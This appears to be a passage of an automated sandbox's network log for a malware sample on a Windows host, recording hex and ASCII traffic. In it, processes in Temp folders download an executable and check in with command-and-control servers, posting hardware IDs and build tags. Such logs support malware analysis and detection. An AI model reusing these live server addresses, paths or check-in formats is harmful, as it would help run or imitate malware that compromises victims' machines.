Oct 24, 2024 18:10:00.420667887 CEST	636	IN	Data Raw: 35 d9 74 92 a3 9b e8 9e 0e 7f f6 4b 17 52 0b 1c fe b6 e7 23 69 f0 d0 98 da 51 e6 1b fc c7 26 24 aa ac 88 11 68 30 c6 c2 34 45 25 a3 f3 e7 c7 bf e8 f7 15 e0 fc 35 69 4a a0 38 0c 76 17 92 03 b0 e1 4f 30 54 3b f9 c8 8f ba 6a b0 8b 9a 37 78 0c ab 06 Data Ascii: 5tKR#iQ&$h04E%5iJ8vO0T;j7xE?!EE,eI6Yjy[)t&;,eHK8TQ6>YN6/j'y ON1*)>t)S8BYUMu5P"
Oct 24, 2024 18:10:00.420763969 CEST	1236	IN	Data Raw: 20 b7 f7 cb db 34 6e 1b 2c 8e ba 3a 45 1c 46 7c d8 d3 fc 0d 2d 37 de 2f 51 04 42 41 03 9a 52 93 46 50 f5 33 14 f2 c6 bc c4 10 52 59 77 f1 dd 0c ce d3 fb c6 92 0b 0f 45 2f 4b b7 4d 93 9c 5b 58 e0 bf f9 95 b6 a3 0b 86 20 eb 3a 32 e5 6f 95 9a cb 8e Data Ascii: 4n,:EF\|-7/QBARFP3RYwE/KM[X :2oiXzPUaG,\|<PSuY5f\|C9h@?Kqt'L#)\JtU>PxQV`\|zC99a
Oct 24, 2024 18:10:00.426208019 CEST	1236	IN	Data Raw: 83 d7 06 2c ad dd 0c d5 9c ac 8c 53 31 0e a3 3d 9f f2 04 0b a6 3e 8d 37 66 fd 15 51 04 2c ff 93 8a af 84 b7 99 ba 27 67 8c 4e b1 92 f6 e0 b6 8a ca 03 d5 73 4c c9 17 02 f6 fe d8 00 1c 3a 2b 0b 6c b6 34 18 1b a1 c6 16 0d a7 24 67 bd 63 d5 bd 38 54 Data Ascii: ,S1=>7fQ,'gNsL:+l4$gc8TyMiTCkP2^Q`6 lypy*Ql?ST27t4D!aFS"BUo9hwqV-}LCS%P3Z<SX)l`%
Oct 24, 2024 18:10:03.725150108 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 18:10:04.008608103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:10:03 GMT Content-Type: application/octet-stream Content-Length: 1821696 Last-Modified: Thu, 24 Oct 2024 16:06:04 GMT Connection: keep-alive ETag: "671a706c-1bcc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$h@iV@P%d% %(@.rsrc %8@.idata %8@ p)%:@letztgfzpPOj<@rrfcshyah@.taggant0h"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50062	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:10:00.222323895 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 18:10:01.138144016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:10:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50063	185.215.113.37	80	6832	C:\Users\user\AppData\Local\Temp\1001229001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:10:00.688750029 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 18:10:01.600764036 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:10:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 18:10:01.609970093 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDHJECFCFCAKFHCFID Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 48 4a 45 43 46 43 46 43 41 4b 46 48 43 46 49 44 2d 2d 0d 0a Data Ascii: ------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------EBGDHJECFCFCAKFHCFIDContent-Disposition: form-data; name="build"doma------EBGDHJECFCFCAKFHCFID--
Oct 24, 2024 18:10:01.898750067 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:10:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50064	185.215.113.43	80	2884	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:10:03.207034111 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 18:10:04.120779037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 16:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50065	185.215.113.37	80	7120	C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:10:04.512866020 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 18:10:05.432071924 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:10:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 18:10:05.438676119 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 35 43 37 39 45 34 46 33 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="hwid"A55C79E4F37B1953448019------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build"doma------JJJEGHDAECBFHJKEGIJK--
Oct 24, 2024 18:10:05.864370108 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:10:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	50073	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:10:06.513955116 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:07.112391949 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86268 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:07.289638996 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:07.415080070 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86268 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:08.637870073 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:08.763372898 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86269 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:09.182881117 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:09.307868004 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86270 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:09.361568928 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:09.488325119 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86270 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:09.835787058 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:09.960489035 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86270 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:10.617460966 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:10.742582083 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86271 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:14.388763905 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:14.517644882 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86275 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 18:10:23.788713932 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 18:10:23.915597916 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 86284 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	50084	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:10:07.204798937 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	50087	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:10:07.437331915 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:10:08.558718920 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81060 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:08.559406042 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81060 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:08.560178995 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81060 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:08.776624918 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:10:08.902574062 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81061 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:09.317114115 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:10:09.442523003 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81062 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:09.527311087 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:10:09.654237986 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81062 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:09.980850935 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:10:10.106827021 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81063 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:10.745801926 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:10:10.893450975 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81063 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:14.527734995 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 18:10:14.658004999 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 81067 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 18:10:23.918358088 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	50098	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
